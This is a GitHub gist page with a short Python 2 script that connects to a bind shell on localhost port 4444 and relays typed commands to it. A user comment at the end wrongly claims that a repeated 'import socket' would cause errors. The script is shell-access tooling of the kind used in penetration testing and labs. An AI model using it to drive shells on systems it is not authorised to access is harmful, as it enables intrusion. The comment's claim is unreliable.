Last active
September 17, 2024 04:09
-
-
Save leonjza/adc69cadc3d8a5d4c068 to your computer and use it in GitHub Desktop.
Python Netcat Shell Connect
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
host = "127.0.0.1" | |
port = 4444 | |
# try and connect to a bind shell | |
try: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((host, port)) | |
try : | |
print "[+] Connected to bind shell!\n" | |
while 1: | |
cmd = raw_input("(py-shell) $ "); | |
s.send(cmd + "\n"); | |
result = s.recv(1024).strip(); | |
if not len(result) : | |
print "[+] Empty response. Dead shell / exited?" | |
s.close(); | |
break; | |
print(result); | |
except KeyboardInterrupt: | |
print "\n[+] ^C Received, closing connection" | |
s.close(); | |
except EOFError: | |
print "\n[+] ^D Received, closing connection" | |
s.close(); | |
except socket.error: | |
print "[+] Unable to connect to bind shell." |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
the 'import socket' is already in the python script, by adding another one will cause errors i think